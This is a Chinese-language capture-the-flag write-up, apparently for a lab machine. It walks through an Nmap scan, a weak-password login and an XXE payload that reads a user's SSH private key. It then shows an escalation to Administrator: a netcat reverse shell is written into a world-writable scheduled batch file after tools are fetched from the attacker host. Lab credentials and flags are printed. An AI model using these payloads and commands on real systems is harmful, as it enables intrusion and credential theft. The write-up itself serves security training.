AI摘要:该文章记录了一次完整的渗透测试过程。首先通过Nmap扫描目标IP,发现Web登录界面并利用弱口令成功登录。随后,通过XXE漏洞读取Daniel的SSH私钥,成功SSH登录。接着,分析Log_Management文件夹下的bat文件,发现可利用的权限漏洞,通过修改bat文件反弹shell提权至Administrator,最终获取root权限和用户标识。
本机IP:10.10.16.6
目标IP:10.129.95.192
nmap -sV -sC 10.129.95.192
进入网页,发现密码登陆界面
使用弱口令password Top1000成功进入
用户:admin
密码:password
进入order选项卡,随便发一个上去
用yakit抓包
发现是1.0的xml版本
检查网页源代码,发现Daniel一个名字,猜测为用户名
尝试进行XXE外部实体注入攻击查找并获取Daniel的SSH私钥
<?xml version="1.0" ?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
<order><quantity>5</quantity><item>&test;</item><address>666</address></order>
成功获得ssh密钥
密钥太长了就不贴出来了,放入markup_keys
chmod 400 markup_keys
ssh -i markup_keys daniel@10.129.95.192
成功连接,来到根目录,检查有用的文件
cd /
dir
在C盘根目录下,找到了Log_Management文件夹
找到可疑的bat文件,查看内容
可见在该bat文件中,运行了wevtutil.exe文件
来到桌面,找到用户标识
得到用户标识:USER_FLAG:032d2fc8952a8c24e39c8f0ee9918ef7。
使用icacls命令查看job.bat文件权限设置:
通过输出结果可看出,BUILTIN为所有本地用户,具备完全控制权限(F)。
那么接下来的思路就很清晰了,通过bat文件的权限连接nc进行提权。
在本地使用python开启http.server服务。
python3 -m http.server 9999
在靶机启动powershell,并使用wget命令将本地文件下载至靶机:
wget http://10.10.16.6:9999/nc64.exe -outfile nc64.exe
wget http://10.10.16.6:9999/winPEASx64.exe -outfile winPEASx64.exe
将nc连接指令写入bat文件,利用bat文件从计划任务定期启动的特性获得权限
nc -lvnp 7777
echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.16.6:7777 > C:\Log-Management\job.bat
写入后等待一会时间,反弹shell成功,进入system32目录,权限为administerator
![[Pasted image 20250707220445.png]]
使用winPEASx64.exe收集密码信息
.\winPEASx64.exe
拿到账号密码
账户:Administrator
密码:Yhk}QE&j<3M
使用ssh并用管理员账号密码登陆
ssh Administrator@10.129.95.192
拿下根用户标识,ROOT_FLAG:f574a3e7650cebd8c39784299cb570f8